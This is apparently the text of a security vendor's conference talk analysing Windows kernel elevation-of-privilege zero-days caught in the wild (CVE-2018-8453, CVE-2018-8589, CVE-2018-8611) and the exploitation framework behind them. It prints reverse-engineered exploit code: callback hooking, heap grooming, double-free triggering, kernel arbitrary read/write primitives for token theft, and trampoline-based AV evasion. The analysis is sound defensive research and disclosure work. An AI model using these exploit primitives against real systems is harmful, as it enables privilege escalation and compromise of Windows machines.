

Momigari

Overview of the latest Windows OS kernel exploits found in the wild

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What this talk is about



Momigari: the Japanese tradition of searching for the most beautiful leaves in autumn

Jiaohe city, Jilin province, Northeast China. [Photo/Xinhua] <u>http://en.safea.gov.cn/2017-10/26/content_33734832_2.htm</u>

What this talk is about

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Kaspersky Lab uncovers third Windows zero day exploit in three months

Kaspersky Lab technologies have automatically detected a new exploited vulnerability in the Microsoft Windows OS kernel, the third consecutive zero-day exploit to be discovered in three months.

What this talk is about

1) We will give brief introduction about how we find zero-day exploits and challenges that we face

2) We will cover three Elevation of Privilege (EOP) zero-day exploits that we found exploited in the wild

- It is becoming more difficult to exploit the Windows OS kernel
- Samples encountered ITW provide insights on the current state of things and new techniques
- We will cover in detail the implementation of **two** exploits for Windows 10 RS4

3) We will reveal exploitation framework used to distribute some of these exploits



SHANGHAI 2019

Kaspersky Lab detection technologies

We commonly add this detail to our reports:

Kaspersky Lab products detected this exploit proactively through the following technologies:

Behavioral detection engine and Automatic Exploit Prevention for endpoints
 Advanced Sandboxing and Anti Malware engine for Kaspersky Anti Targeted Attack Platform (KATA)

This two technologies are behind all exploits that we found last year

Technology #1 - Exploit Prevention



Technology #2 - The sandbox



Detection of exploits



Exploits caught in the wild by Kaspersky Lab

One year:

- May 2018 CVE-2018-8174 (Windows VBScript Engine Remote Code Execution Vulnerability)
- October 2018 CVE-2018-8453 (Win32k Elevation of Privilege Vulnerability)
- November 2018 CVE-2018-8589 (Win32k Elevation of Privilege Vulnerability)
- December 2018 CVE-2018-8611 (Windows Kernel Elevation of Privilege Vulnerability)
- March 2019 CVE-2019-0797 (Win32k Elevation of Privilege Vulnerability)
- April 2019 CVE-2019-0859 (Win32k Elevation of Privilege Vulnerability)

What keeps us wake at night



Six exploits found just by one company in one year

One exploit is remote code execution in Microsoft Office

Five exploits are elevation of privilege escalations

While these numbers are huge it got to be just a tip of an iceberg

Example of payouts for single exploit acquisition program <u>https://zerodium.com/program.html</u>:

Why don't we see many exploits targeting web browsers, other applications or networks with 'zero-click' RCE being caught?

Zero-day finding complications

Our technologies are aimed at detection and prevention of exploitation

Some exploits are easy to detect Sandboxed process starts to perform weird stuff

Some exploits are hard to detect False Alarms caused by other software Example: two or more security software installed on same machine

But to find out whether or not **detected** exploit is zero-day requires additional analysis

Even if an exploit was detected, most case analysis requires more data than can be acquired by the detection alone

Field for improvement (web browsers)

Script of exploit is required for further analysis Scanning the whole memory for all scripts is still impractical

Possible solution: Browser provides interface for security applications to ask for loaded scripts (similar to Antimalware Scan Interface (AMSI))

Problems: If implemented in the same process it can be patched by exploit

Detection of escalation of privilege

Escalation of privilege exploits are probably the most suitable for analysis

Escalation of privilege exploits are commonly used in late stages of exploitation

Current events provided by operating system often are enough to build detection for them

As they are usually implemented in native code - they are can be analyzed easily

Case 1



Exploitation module was distributed in encrypted form. Sample that we found was targeting only x64 platform

• But analysis shows that x86 exploitation is possible

Code is written to support next OS versions:

- <u>Windows 10 build 17134</u>
- Windows 10 build 16299
- Windows 10 build 15063
- Windows 10 build 14393
- Windows 10 build 10586
- Windows 10 build 10240
- Windows 8.1
- Windows 8
- Windows 7

Three of four vulnerabilities we are going to talk about today are present in Win32k

Win32k is a kernel mode driver that handles graphics, user input, UI elements...

It present since the oldest days of Windows

At first it was implemented in user land and then the biggest part of it was moved to kernel level

• To increase performance

Really huge attack surface

- More than 1000 syscalls
- User mode callbacks
- Shared data

More than a half of all kernel security bugs in windows are found in win32k.sys

https://github.com/Microsoft/MSRC-Security-Research/blob/master/presentations/2018_10_DerbyCon/2018_10_DerbyCon_State_of%20_Win32k_Security.pptx

Security improvements

In past few years Microsoft made a number of improvements that really complicated kernel exploitation and improved overall security:

Prevent abuse of specific kernel structures commonly used to create an R/W primitive

- Additional checks over tagWND
- Hardening of GDI Bitmap objects (Type Isolation of SURFACE objects)
- ...

Improvement of kernel ASLR

• Fixed a number of ways to disclose kernel pointers through shared data

Results of this work really can be seen from exploits that we find. Newer OS build = less exploits. CVE-2018-8453 was the first known exploit targeting Win32k in Windows 10 RS4

. . .

. . .

if (flag_17134 == TRUE)
 exploit_17134();
else
 exploit_others();
cleanup();

From code it feels like the exploit did not initially support Windows 10 build 17134, and the support was added later

There is a chance that the exploit was used prior to the release of this build, but we do not have any proof

kd> dt win32k!tagWND

+0x024	hModule	:	Ptr32	Void
+0x028	hMod16	:	Uint2B	
 +0x02a	fnid	:	Uint2B	
+0x02c	spwndNext	:	Ptr32	tagWND
+0x030	spwndPrev	:	Ptr32	tagWND
+0x034	spwndParent	:	Ptr32	tagWND
+0x038	spwndChild	:	Ptr32	tagWND
+0x03c	spwndOwner	:	Ptr32	tagWND
+0x040	rcWindow	:	tagREC	Т
+0x050	rcClient	:	tagREC	Т
+0x060	lpfnWndProc	:	Ptr32	long
+0x064	pcls	:	Ptr32	tagCLS
+0x068	hrgnUpdate	:	Ptr32	HRGN
+0x06c	ppropList	:	Ptr32	tagPROPL]
+0x070	pSBInfo	:	Ptr32	tagSBINF(
+0x074	spmenuSys	:	Ptr32	tagMENU
+0x078	spmenu	:	Ptr32	tagMENU

Microsoft took away win32k!tagWND from debug symbols but FNID field is located on same offset in Windows 10 (17134)

FNID (Function ID) defines a class of window (it can be ScrollBar, Menu, Desktop, etc.)

High bit also defines if window is being freed

• FNID_FREED = 0x8000

IST

Vulnerability is located in syscall NtUserSetWindowFNID

win32k!tagWND (Windows 7 x86)



```
signed __int64 __fastcall NtUserSetWindowFNID(__int64 a1, __int16 a2)
 // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 v_2 = a_2
 v3 = a1;
  EnterCrit(0i64, 1i64);
  v4 = ValidateHwnd(v3);
  v5 = 0i64;
  v6 = v4
 if ( V4 )
   if ( *(_QWORD *)(*(_QWORD *)(v4 + 16) + 376i64) == PsGetCurrentProcessWin32Process() )
     if ( U2 == 0x4000
        || (unsigned __int16)(v2 - 673) <= 9u
       && !(*( WORD *)(V6 + 82) & 0x3FFF)
                                                                Microsoft patched vulnerability with call to
       && !(unsigned int)IsWindowBeingDestroyed(v6)
                                                                IsWindowBeingDestroyed() function
        *( WORD *)(v6 + 82) |= v2;
        v5 = 1i64;
        goto LABEL 11;
     v7 = 87164;
```

At time of reporting, MSRC was not sure that exploitation was possible in the latest version build of Windows 10 and asked us to provide the full exploit

The following slides show pieces of the reverse engineered exploit for Windows 10 build 17134

For obvious reasons we are not going to share the full exploit

Exploitation happens mostly from hooks set on usermode callbacks

Hooked callbacks:

fnDWORD

fnNCDESTROY

fnINLPCREATESTRUCT

To set hooks:

- Get address of KernelCallbackTable from PEB
- Replace callback pointers with our own handlers

```
DWORD oldProtect;
VirtualProtect((LPVOID)(GetKernelCallbackTable() + 0x10), 8, PAGE_EXECUTE_READWRITE, &oldProtect);
VirtualProtect((LPVOID)(GetKernelCallbackTable() + 0x18), 8, PAGE_EXECUTE_READWRITE, &oldProtect);
VirtualProtect((LPVOID)(GetKernelCallbackTable() + 0x50), 8, PAGE_EXECUTE_READWRITE, &oldProtect);
```

```
FnDWORD = (_fnDWORD)*(LONG_PTR*)(GetKernelCallbackTable() + 0x10);
FnNCDESTROY = (_fnNCDESTROY)*(LONG_PTR*)(GetKernelCallbackTable() + 0x18);
FnINLPCREATESTRUCT = (_fnINLPCREATESTRUCT)*(LONG_PTR*)(GetKernelCallbackTable() + 0x50);
```

(LONG_PTR)(GetKernelCallbackTable() + 0x10) = (LONG_PTR)FnDWORD_hook; *(LONG_PTR*)(GetKernelCallbackTable() + 0x18) = (LONG_PTR)FnNCDESTROY_hook; *(LONG_PTR*)(GetKernelCallbackTable() + 0x50) = (LONG_PTR)FnINLPCREATESTRUCT_hook;



Exploit creates window and uses ShowWindow()

fnINLPCREATESTRUCT

callback will be triggered

```
LRESULT FnINLPCREATESTRUCT_hook(LPVOID msg)
      (GetCurrentThreadId() == Tid)
        if (FnINLPCREATESTRUCT flag)
           CHAR className[0xC8];
           GetClassNameA((HWND)*(LONG_PTR*)(*(LONG_PTR*)((LONG_PTR)msg + 0x28)), className, sizeof(className));
               (!strcmp(className, "SysShadow"))
               FnINLPCREATESTRUCT flag = FALSE;
               SetWindowPos(MyClass, NULL, 0x100, 0x100, 0x100, 0x100,
                    SWP HIDEWINDOW | SWP NOACTIVATE | SWP NOZORDER | SWP NOMOVE | SWP NOSIZE);
                          SetWindowPos() will force ShowWindow() to call AddShadow() and create shadow
```

*Shadow will be needed later for exploitation

Exploit creates scrollbar and performs heap groom

A left mouse button click on the scrollbar initiates scrollbar track

- Its performed with message WM_LBUTTONDOWN sent to scrollbar window
- Leads to execution of win32k!xxxSBTrackInit() in kernel

```
HWND hwd = CreateWindowEx(NULL, TEXT("ScrollBar"), TEXT("ScrollBar"),
WS_VISIBLE | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_GROUP | WS_TABSTOP, CW_USEDEFAULT, CW_USEDEFAULT,
0x80, 0x80, NULL, NULL, Handle, NULL);
SetParent(hwd, MyClass);
Fengshui();
Fengshui();
FnDWORD_flag = TRUE;
SendMessage(hwd, WM_LBUTTONDOWN, NULL, NULL);
Send message to scrollbar window for initiation
```

What distinguish zero-day exploits from regular public exploits? Usually it's the amount of effort put into to achieve best reliability

f I	Functions window	
Fun	ction name	Segment
f	fengshui_simple	.text
f	fengshui_14393	.text
f	fengshui_15063	.text
f	fengshui_16299	.text
f	<mark>fengshui</mark> _17134	.text

In exploit there are **five** (!) different heap groom tactics

```
VOID fengshui_17134()
```

BYTE buf[0x1000];

```
memset(buf, 0x41, sizeof(buf));
```

for (int i = 0; i < 0x200; i++)
{ CreateBitmap(0x1A, 1, 1, 0x20, buf);}</pre>

```
for (int i = 0; i < 0x200; i++)
{ CreateBitmap(0x27E, 1, 1, 0x20, buf);}</pre>
```

```
for (int i = 0; i < 0x200; i++)
{ CreateBitmap(0x156, 1, 1, 0x20, buf);}</pre>
```

```
for (int i = 0; i < 0x100; i++)
{ CreateBitmap(0x1A, 1, 1, 0x20, buf);}</pre>
```

```
for (int i = 0; i < 0x20; i++)
{ CreateBitmap(0x156, 1, 1, 0x20, buf);}</pre>
```

```
for (int i = 0; i < 0x20; i++)
{ CreateBitmap(0x176, 1, 1, 0x20, buf);}</pre>
```

fengshui_17134: Blind heap groom

fengshui_16299:

- Register 0x400 classes (lpszMenuName = 0x4141...)
- Create windows
- Use technique described by Tarjei Mandt to leak addresses

```
NtCurrentTeb()->Win32ClientInfo.ulClientDelta
```

fengshui_15063 is similar to fengshui_16299

fengshui_14393:

- Create 0x200 bitmaps
- Create accelerator table
- Leak address with gSharedInfo
- Destroy accelerator table
- Create 0x200 bitmaps

fengshui_simple: CreateBitmap & GdiSharedHandleTable

How callbacks are executed?

xxxSBTrackInit() will eventually execute xxxSendMessage(, 0x114,...)

0x114 is WM_HSCROLL message

```
Translate message to callback
int xxxSendMessageToClient(struct tagWND *hWnd, unsigned int Msg, ...)
    gapfnScSendMessage[MessageTable[Msg]](hWnd, Msg, ...);
    gapfnScSendMessage dq offset SfnDWORD ; DATA XREF: xxxDefWindowProc+FC<sub>1</sub>r
                                             ; xxxDefWindowProc+15Ctr ....
                    dq offset SfnNCDESTROY
                    dq offset SfnINLPCREATESTRUCT
                    dq offset SfnINSTRINGNULL
                                                                     fnDWORD callback
                                                    WM_HSCROLL
                    dq offset SfnOUTSTRING
                    dq offset SfnINSTRING
```

In exploit there is state machine inside the **fnDWORD** usermode callback hook

- State machine is required because **fnDWORD** usermode callback is called very often
- We have two stages of exploitation inside **fnDWORD** hook

Stage 1 - Destroy window inside fnDWORD usermode callback during WM_HSCROLL message

```
if (FnDWORD_flag)
{
    FnDWORD_flag = FALSE;
    FnNCDESTROY_flag = TRUE;
    DestroyWindow(MyClass);
    FnDWORD_flag2 = TRUE;
}
```

It will lead to execution of fnNCDESTROY callback

First thing that is going to be released is shadow (that's why shadow is required to be initialized)

During **fnNCDESTROY** usermode callback find freed shadow and trigger vulnerability

```
LRESULT FnNCDESTROY hook(LPVOID* msg)
                                                                               Call stack:
       (GetCurrentThreadId() == Tid)
    if
                                                             win32kfull!SfnNCDESTROY
                                                             win32kfull!xxxDefWindowProc+0x123
         if (FnNCDESTROY flag)
                                                             win32kfull!xxxSendTransformableMessageTimeout+0x3fc
                                                             win32kfull!xxxSendMessage+0x2c
                                                             win32kfull!xxxFreeWindow+0x197
              CHAR className[0xC8];
                                                             win32kfull!xxxDestroyWindow+0x35d
              GetClassNameA((HWND)*(LONG_PTR*)*msg,
                                                             win32kfull!xxxRemoveShadow+0x79
                                                             win32kfull!xxxFreeWindow+0x342
                                                             win32kfull!xxxDestroyWindow+0x35d
              if (!strcmp(className, "SysShadow"))
                                                             win32kfull!NtUserDestroyWindow+0x2e
                   FnNCDESTROY_flag = FALSE;
                  NtUserSetWindowFNID();
                                                        FNID of shadow window is no longer FNID_FREED!
                  MSG msg;
                  while (PeekMessage(&msg, NULL, NULL, NULL, TRUE)){};
```

Stage 2 (inside the **fnDWORD** hook)

Due to changed FNID message WM_CANCELMODE will lead to freeing of USERTAG_SCROLLTRACK!

This will eventually result in Double Free

```
else if (FnDWORD_flag2)
{
    FnDWORD_flag2 = FALSE;
    BYTE buf1[0x5F0];
    memset(buf1, 0x41, sizeof(buf1));
    memset(buf1 + 8, 0, 0x10);
    HWND wnd = CreateWindowEx(NULL, TEXT("ScrollBar"), TEXT("ScrollBar"),
        WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_GROUP | WS_TABSTOP,
        CW_USEDEFAULT, CW_USEDEFAULT, 0x80, 0x80, NULL, NULL, HandLe, NULL);
    SetCapture(wnd);
    for (int i = 0; i < 0x1E0; i++)
    {
        DeleteObject(Bitmaps_0x1A_0x200[i]);
    }
}
</pre>
```

SendMessage(wnd, WM_CANCELMODE, NULL, NULL);



Call stack:

win32kfull!SfnDWORD win32kfull!xxxFreeWindow+0xd4f win32kfull!xxxDestroyWindow+0x35d win32kbase!xxxDestroyWindowIfSupported+0x1e win32kbase!HMDestroyUnlockedObject+0x69 win32kbase!HMUnlockObjectInternal+0x4f win32kbase!HMAssignmentUnlock+0x2d win32kfull!xxxSBTrackInit+0x4b5 win32kfull!xxxSBTrackInit+0x4b5 win32kfull!xxxSBWndProc+0xaa4 win32kfull!xxxSendTransformableMessageTimeout+0x3fc win32kfull!xxWrapSendMessage+0x24 win32kfull!NtUserfnDWORD+0x2c win32kfull!NtUserfnDWORD+0x2c win32kfull!NtUserMessageCall+0xf5 nt!KiSystemServiceCopyEnd+0x13

Freeing USERTAG_SCROLLTRACK with WM_CANCELMODE gives opportunity to reclaim just freed memory

```
for (int i = 0; i < 0x200; i++)</pre>
    DeleteObject(Bitmaps_0x156_0x200[i]);
}
for (int i = 0; i < 0x20; i++)</pre>
    DeleteObject(Bitmaps_0x156_0x20[i]);
}
                                             Free bitmats allocated in Fengshui(), and allocate some more
for (int i = 0; i < 0x200; i++)</pre>
    Bitmaps_0x176_0x200[i] = CreateBitmap(0x176, 1, 1, 0x20, buf1);
}
```

DestroyWindow(wnd);

Double free: xxxSBTrackInit() will finish execution with freeing USERTAG_SCROLLTRACK But it will result in freeing GDITAG_POOL_BITMAP_BITS instead

.text:00000001C0208BB3	:	; CODE XREF: xxxEndScroll+293↑j
.text:00000001C0208BB3	and	qword ptr [rbx+30h], 0
.text:00000001C0208BB8	lea	rcx, [rbx+10h] ; _QWORD
.text:0000001C0208BBC	call	cs:imp_HMAssignmentUnlock
.text:0000001C0208BC2	lea	rcx, [rbx+18h] ; _QWORD
.text:0000001C0208BC6	call	cs:imp_HMAssignmentUnlock
.text:0000001C0208BCC	lea	rcx, [rbx+8] ; _QWORD
.text:0000001C0208BD0	call	cs:imp_HMAssignmentUnlock
.text:0000001C0208BD6	mov	rcx, rbx ; _QWORD
.text:0000001C0208BD9	call	cs:imp_Win32FreePool Eree USERTAG SCROUTRACK
.text:0000001C0208BDF	mov	rax, [rdi+10h]
.text:0000001C0208BE3	and	qword ptr [rax+2C0h], 0
tout.000000400000000		

.CEAC.000000100200ED2 10C_100200E	···· -	, CODE A	
.text:00000001C0208ED2	call	cs:imp_HMAssignmentUnl	ock
.text:00000001C0208ED8	mov	rcx, rbx ; _QWORD	
.text:00000001C0208EDB	call	cs:imp_Win32FreePool	
.text:00000001C0208EE1	mov	rax, [rdi+10h]	Free GDITAG POOL BITMAP BITS
.text:00000001C0208EE5	and	qword ptr [rax+2C0h], 0	· · · · · · · · · · · <u>-</u> - · · · · · <u>-</u> - · · · ·
text • 0000000100208FFD			()

New mitigation: GDI objects isolation (Implemented in Windows 10 RS4)

Good write-up by Francisco Falcon can be found here: https://blog.quarkslab.com/reverse-engineering-the-win32k-type-isolation-mitigation.html

New mitigation eliminates common exploitation technique of using Bitmaps:

• SURFACE objects used for exploitation are now not allocated aside of pixel data buffers

Use of Bitmap objects for kernel exploitation was believed to be killed

But as you can see it will not disappear completely

Exploit creates 64 threads

```
for (int i = 0; i < 0x40; i++)
{
    handles[i] = CreateThread(NULL, 0, Trigger, (LPVOID)i, NULL, NULL);
}</pre>
```

Each thread is then converted to GUI thread after using win32k functionality

It leads to THREADINFO to be allocated in place of dangling bitmap

GetBitmapBits / SetBitmapBits is used to overwrite THREADINFO data

THREADINFO is undocumented but structure is partially available through win32k!_w32thread

Control over THREADINFO allows to use SetMessageExtraInfo gadget

SetMessageExtraInfo function

12/05/2018 • 2 minutes to read

Sets the extra message information for the current thread. Extra message information is an application- or driver-defined value associated with the current thread's message queue. An application can use the <u>GetMessageExtraInfo</u> function to retrieve a thread's extra message information.

_ <mark>SetMessageExtraInfo</mark> proc_near mov rax,cs:_imp_gptiCurrent	Peek and poke *(u64*)((*(u64*) Th	HREADINFO+0x1A8)+0x198)
mov rdx, [rax] mov r8, [rdx+1A8h] mov rax, [r8+198h] mov [r8+198h], rcx retn	0x1A8 - Message queue	0x198 - Extra Info
_SetMessageExtraInfo endp		
```
LONG_PTR ArbitraryRead(LONG_PTR address)
```

```
GetBitmapBits(pwned_bitmap, sizeof(Bitmap), Bitmap);
*(LONG_PTR*)(Bitmap + 0x1A8) = address - 0x198;
SetBitmapBits(pwned_bitmap, sizeof(Bitmap), Bitmap);
```

```
LPARAM value = SetMessageExtraInfo(NULL);
SetMessageExtraInfo(value);
```

```
*(LONG_PTR*)(Bitmap + 0x1A8) = message_queue_backup;
SetBitmapBits(pwned_bitmap, sizeof(Bitmap), Bitmap);
```

return param;

```
VOID ArbitraryWrite(LONG_PTR address, LONG_PTR value)
```

```
GetBitmapBits(pwned_bitmap, sizeof(Bitmap), Bitmap);
*(LONG_PTR*)(Bitmap + 0x1A8) = address - 0x198;
SetBitmapBits(pwned_bitmap, sizeof(Bitmap), Bitmap);
```

```
SetMessageExtraInfo(value);
```

```
*(LONG_PTR*)(Bitmap + 0x1A8) = message_queue_backup;
SetBitmapBits(pwned_bitmap, sizeof(Bitmap), Bitmap);
```

Replace message queue pointer with arbitrary address

Read quadword, but overwrite it with zero Restore original value

Restore message queue pointer

Replace message queue pointer with arbitrary address

Set quadword at address

Restore message queue pointer

THREADINFO also contains pointer to process object

Exploit uses it to steal system token



Case 2

Race condition in win32k

Exploit found in the wild was targeting only Windows 7 SP1 32-bit

At least two processor cores are required

Probably the least interesting exploit presented today but it led to far greater discoveries

CVE-2018-8589

CVE-2018-8589 is a complex race condition in win32k due to improper locking of messages sent synchronously between threads

Found sample exploited with the use of **MoveWindow()** and **WM_NCCALCSIZE** message

```
Thread 1
WNDCLASSEX wndClass;
wndClass.lpfnWndProc = MessageProc;
wndClass.lpszClassName = TEXT("Class1");
. . .
RegisterClassEx(&wndClass);
Window1 = CreateWindowEx(8, "Class1", "Window1", ...);
SetEvent(lpParam);
Flag2 = TRUE;
while (!Flag3)
    tagMSG msg;
    memset(&msg, 0, sizeof(tagMSG));
    if (PeekMessage(&msg, NULL, 0, 0, 1) > 0)
        TranslateMessage(&msg);
        DispatchMessage(&msg);
```

Thread 2

```
WNDCLASSEX wndClass;
wndClass.lpfnWndProc = MessageProc;
wndClass.lpszClassName = TEXT("Class2");
```

```
RegisterClassEx(&wndClass);
```

Window2 = CreateWindowEx(8, "Class2", "Window2", ...);

Flag1 = TRUE;

. . .

MoveWindow(Window1, 0, 0, 0x400, 0x400, TRUE);

Both threads have the same window procedure

Second thread initiates recursion

Window procedure



Vulnerability will lead to asynchronous copying of the IParam structure controlled by the attacker

For exploitation is enough to fill buffer with pointers to shellcode. Return address of **SfnINOUTNCCALCSIZE** will be overwritten and execution hijacked

9e303888 918f64ce win32k!SfnINOUTNCCALCSIZE+0x263 <- (2) corrupt stack 9e30390c 9193c677 win32k!xxxReceiveMessage+0x480 9e303960 9193c5cb win32k!xxxRealSleepThread+0x90 9e30397c 918ecbac win32k!xxxSleepThread+0x2d 9e3039f0 9192c3af win32k!xxxInterSendMsgEx+0xb1c 9e303a40 9192c4f2 win32k!xxxSendMessageTimeout+0x13b 9e303a68 918fbec1 win32k!xxxSendMessage+0x28 9e303b2c 91910c1a win32k!xxxCalcValidRects+0x462 <- (1) send WM_NCCALCSIZE 9e303b90 91911056 win32k!xxxEndDeferWindowPosEx+0x126 9e303bb0 918b1f89 win32k!xxxSetWindowPos+0xf6 9e303bdc 918b1ee1 win32k!xxxMov/eWindow+0x8a

Framework

CVE-2018-8589 led to bigger discoveries as it was a part of a larger exploitation framework

Framework purposes

- AV evasion
- Choosing appropriate exploit reliably
- DKOM manipulation to install rootkit

Framework - AV evasion

Exploit checks the presence of **emet.dll** and if it is not present it uses trampolines to execute all functions

- Searches for patterns in text section of system libraries
- Uses gadgets to build fake stack and execute functions

/* build fake stack */
push ebp
mov ebp, esp
push offset gadget_ret

pushebpmovebp, esppushoffset gadget_ret

push ebp mov ebp, esp

. . .



...

/* push return address*/ push offset trampilne_prolog

/* jump to function */ jmp eax

Framework - Reliability

Exploit may be triggered more than once For reliable exploitation proper mutual exclusion is required Otherwise execution of multiple instances of EOP exploit will lead to BSOD Use of **CreateMutex()** function may arouse suspicion

Framework - Reliability

```
HANDLE heap = GetProcessHeap();
   (heap)
if
  HeapLock(heap);
  while ( HeapWalk(heap, &Entry) )
  {
    if ( Entry.wFlags & PROCESS_HEAP_ENTRY_BUSY
      && Entry.cbData == size
                                                    Existence of memory block means exploit is running
      && memcmp(Entry.lpData, data, size))
      return -1;
  HeapUnlock(heap);
  void* buf = HeapAlloc(heap, HEAP_ZERO_MEMORY, size);
                                                               Create Mutex
  memcpy(buf, data, size);
```

Framework - Reliability

Framework may come with multiple exploits (embedded or received from remote resource) Exploits perform Windows OS version checks to find if exploit supports target Framework is able to try different exploits until it finds an appropriate one

Each exploit provides interface to execute provided kernel shellcode

Framework - Armory

CVE-2018-8589

CVE-2015-2360

CVE-2018-8611

?

CVE-2019-0797

We have found 4. But the maximum is 10?

?

Case 3

CVE-2018-8611

Race condition in tm.sys driver

Allows to escape the sandbox in Chrome and Edge because syscall filtering mitigations do not apply to ntoskrnl.exe syscalls

Code is written to support next OS versions:

- Windows 10 build 15063
- Windows 10 build 14393
- Windows 10 build 10586
- Windows 10 build 10240
- Windows 8.1
- Windows 8
- Windows 7

New build of exploit added support for:

- Windows 10 build 17133
- Windows 10 build 16299

tm.sys driver implements Kernel Transaction Manager (KTM)

It is used to handle errors:

- Perform changes as a transaction
- If something goes wrong then rollback changes to file system or registry

It can also be used to coordinate changes if you are designing a new data storage system



Transaction - a collection of data operations

Enlistment - an association between a resource manager and a transaction

Resource manager - component that manages data resources that can be updated by transacted operations

Transaction manager - it handles communication of transactional clients and resource managers It also tracks the state of each transaction (without data)

To abuse the vulnerability the exploit first creates a named pipe and opens it for read and write

Then it creates a pair of new transaction manager objects, resource manager objects, transaction objects

Transaction 1	Transaction 2				
<pre>NtCreateTransactionManager(&TmHandle);</pre>					
<pre>NtCreateResourceManager(&RmHandle, TmHandle, &guid, &uni);</pre>	NtcreaterransactionManager(&Immandle2);				
NtRecoverResourceManager(RmHandle);	<pre>NtCreateResourceManager(&RmHandle2, TmHandle2, &guid, NULL);</pre>				
NtCreateTransaction(&TransactionHandle):	<pre>NtCreateTransaction(&TransactionHandle2);</pre>				
<pre>NtSetInformationTransaction(TransactionHandle, &TmHandle);</pre>	<pre>NtSetInformationTransaction(TransactionHandle2, &TmHandle2);</pre>				

Transaction 2

```
for (int i = 0; i < 1000; i++)
{
    NtCreateEnlistment(&EnlistmentHandle, RmHandle2, TransactionHandle2);
}</pre>
```

Transaction 1

NtCreateEnlistment(&EnlistmentHandle, RmHandle, TransactionHandle); NtCommitTransaction(TransactionHandle);

Exploit creates multiple threads and binds them to a single CPU core

Thread 1 calls NtQueryInformationResourceManager in a loop

ULONG length = 0; if (NtGetNotificationResourceManager(RmHandle, TransactionNotification, &length)) return 1;

Flag1 = TRUE;

```
while (!Flag2)
```

}

Thread 2 tries to execute NtRecoverResourceManager once

NtRecoverResourceManager(RmHandle);

Flag2 = TRUE;

Exploitation happens inside third thread

This thread executes NtQueryInformationThread to get last syscall of thread with RecoverResourceManager Successful execution of NtRecoverResourceManager will mean that race condition has occurred At this stage, execution of WriteFile on previously created named pipe will lead to memory corruption

CVE-2018-8611 is a race condition in function TmRecoverResourceManagerExt



```
KeReleaseMutex((PRKMUTEX)(09 + 64), 0);
if ( U19 )
  KeReleaseMutex((PRKMUTEX)(u1 + 40), 0);
  u15 = TmpSetNotificationResourceManager(
          (PRKEVENT) v1,
          U14.
          (__int64)(v7 - 17),
          0i64,
          V8.
          32,
          (unsigned int64)v19);
  ObfDereferenceObject(v7 - 17);
  KeWaitForSingleObject((PUOID)(v1 + 40), 0, 0, 0, 0i64);
  if ( *(_DWORD *)(u1 + 28) != 2 )
    doto LABEL 34:
  v16 = *( QWORD *)(v1 + 0x168);
  if ( !u16 || *(_DWORD *)(u16 + 0x40) != 3
    goto LABEL_33;
  U7 = *(_QWORD **)(U1 + 272);
```

Microsoft fixed vulnerability with following changes:

- Check for enlistment status is removed
- Check that ResourceManager is still online is added

We have control over enlistment object. How to exploit that?

There are not many different code paths

We have control over enlistment object. How to exploit that?

There are not many different code paths

```
v16 = (signed __int64)&v6[-9].Blink;
if ( HIDWORD(v6[2].Flink) & 4 )
goto LABEL_18;
ObfReferenceObject(&v6[-9].Blink);
KeWaitForSingleObject((PU0ID)(v16 + 64), 0, 0, 0, 0, 0164);
v11 = 0;
v12 = *(_DWORD *)(v10 + 172);
if ( (v12 & 0x80v) != 0 )
{
....
*(_DWORD *)(v10 + 172) = v12 & 0xFFFFFF7F;
}
__mm_storeu_si128((__m128i *)Size, *(__m128i *)(v10 + 48));
_mm_storeu_si128((__m128i *)Size, *(__m128i *)(*(_OWORD *)(v10 + 160) + 176i64));
KeReleaseMutex((PRKMUTEX)(v10 + 64), 0);
```

KeWaitForSingleObject function

04/30/2018 • 5 minutes to read

The KeWaitForSingleObject routine puts the current thread into a wait state until the given dispatcher object is set to a signaled state or (optionally) until the wait times out.

Syntax

C++		Сору
NTSTATUS KeWaitForSingleObject(
PVOID	Object,	
KWAIT_REASON	WaitReason,	
drv_strictType(KPROCESSOR_MODE / enum _MODE,drv_typeConst)KPROCESSOR_MODE	WaitMode,	
BOOLEAN	Alertable,	
PLARGE_INTEGER	Timeout	
);		

Parameters 🗠

Object

Pointer to an initialized dispatcher object (event, mutex, semaphore, thread, or timer) for which the caller supplies the storage.



dt nt!_KOBJECTS EventNotificationObject = 0n0 EventSynchronizationObject = 0n1 MutantObject = 0n2ProcessObject = 0n3QueueObject = 0n4SemaphoreObject = 0n5ThreadObject = 0n6GateObject = 0n7TimerNotificationObject = 0n8 TimerSynchronizationObject = 0n9 Spare2Object = 0n10 Spare3Object = 0n11 Spare4Object = 0n12Spare5Object = 0n13

Spare6Object = 0n14 Spare7Object = 0n15 Spare8Object = 0n16 ProfileCallbackObject = 0n17 ApcObject = 0n18DpcObject = 0n19DeviceQueueObject = 0n20PriQueueObject = 0n21 InterruptObject = 0n22 ProfileObject = 0n23 Timer2NotificationObject = 0n24 Timer2SynchronizationObject = 0n25 ThreadedDpcObject = 0n26MaximumKernelObject = 0n27

Provide fake EventNotificationObject

loc_140051483			;	CODE	XREF:	KeWaitForSingleObject+18D↑j
	mov	rcx, [rdi+10h]				
	lea	rax, [rdi+8]				
	mov	[r12], rax -				
	mov	[r12+8], rcx				
	cmp	[rcx], rax				
	jnz	loc_14015425A				
	mov	[rcx], r12				
	mov	[rax+8], r12	;	leak	point	er to _KWAIT_BLOCK
	lock an	dˈdwordˈptr [rdi]],	ØFFFF	FF7Fh	
	mov	r9, [rsp+0B8h+va	ar_	98]		
	mov	r8d, edx		-		
	mov	rdx, r12				
	mov	byte ptr [rbx+24	4Bh], 1		
	mov	rcx, rbx		-		
	call	KiCommitThreadWa	ait			
	стр	eax, 100h				

While current thread is in a wait state we can modify dispatcher object from user level

We have address of _KWAIT_BLOCK, we can calculate address of _KTHREAD

0: kd> dt nt!_KTHREAD +0x000 Header :_DISPATCHER_HEADER +0x018 SListFaultAddress : Ptr64 Void +0x020 QuantumTarget : Uint8B +0x028 InitialStack : Ptr64 Void +0x030 StackLimit : Ptr64 Void +0x038 StackBase : Ptr64 Void +0x040 ThreadLock : Uint8B ... +0x140 WaitBlock : [4] _KWAIT_BLOCK +0x140 WaitBlockFill4 : [20] UChar +0x154 ContextSwitches : Uint4B

 $_KTHREAD = _KWAIT_BLOCK - 0x140$

• • •

Modify dispatcher object, build SemaphoreObject

0: kd> dt nt!_KMUTANT	
+0x000 Header : _DISPATCHER_HEA	ADER
+0x018 MutantListEntry : LIST_ENTRY	
+0x028 OwnerThread : Ptr64 _KTHREAD)
+0x030 Abandoned : UChar	
+0x031 ApcDisable : UChar	

